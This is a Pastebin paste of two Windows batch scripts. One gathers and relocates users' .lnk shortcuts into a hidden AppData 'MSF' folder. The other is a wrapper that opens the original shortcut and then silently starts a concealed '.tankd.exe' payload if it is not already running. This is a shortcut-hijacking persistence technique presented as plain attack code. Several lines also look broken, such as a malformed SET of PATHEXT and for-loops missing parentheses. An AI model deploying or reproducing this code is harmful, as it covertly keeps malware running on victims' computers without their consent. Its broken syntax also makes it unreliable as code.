tankdthedruid

link_replace.bat

Mar 7th, 2012
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @ECHO OFF
  2. REM FILENAME: ENUM_LINKS.exe
  3. SETLOCAL ENABLEEXTENSIONS
  4. SET %PATHEXT%=%PATHEXT%;.LNK
  5. if not exist %APPDATA%\MSF mkdir %APPDATA%\MSF
  6. if not exist %APPDATA%\MSF\src\ mkdir %APPDATA%\MSF\src
  7. if not exist %APPDATA%\MSF\contrib mkdir %APPDATA%\MSF\contrib
  8.  
  9. echo [*] Enumerating AppData Shortcuts...
  10. for /f "tokens=*" %%i in ('dir /b /s %APPDATA%\*.lnk') do
  11.    echo %%i >> %APPDATA%\MSF\Desktop.ini
  12. )
  13. echo [*] Enumerating ProgramData Shortcuts...
  14. for /f "tokens=*" %%i in ('dir /b /s %PROGRAMDATA%\*.lnk') do
  15.    echo %%i >> %APPDATA%\MSF\Desktop.ini
  16. )
  17. echo [*] Moving Start Menu Shortcuts...
  18. for /f "tokens=*" %%i in ("%APPDATA%\MSF\Desktop.ini") do
  19.     move "%%i" "%APPDATA%\MSF\src\"
  20.     mklink "%APPDATA%\MSF\contrib\fsutil.exe" "%%~pni.exe"
  21. )
  22. :EOF
  23.  
  24. @ECHO OFF
  25. REM FILENAME: fsutils.exe
  26. SETLOCAL ENABLEEXTENSIONS
  27. SET %PATHEXT%=%PATHEXT%;.LNK
  28. set LINK=%~n0
  29. if exist "%LINK%.lnk" (
  30.     start /b "" "%LINK%.lnk"
  31.     ping 127.0.0.1 -n 6 >NUL
  32. )
  33. tasklist | findstr /c:".tankd.exe" > proc.sys
  34. set /p TANKD_PROC=<%APPDATA%\MSF\proc.sys
  35. if defined TANKD_PROC (
  36.     GOTO :EOF
  37. ) else (
  38.     start /b "" "%APPDATA%\MSF\contrib\.tankd.exe" >NUL
  39. )
  40.  
  41. :EOF
Advertisement
Add Comment
Please, Sign In to add comment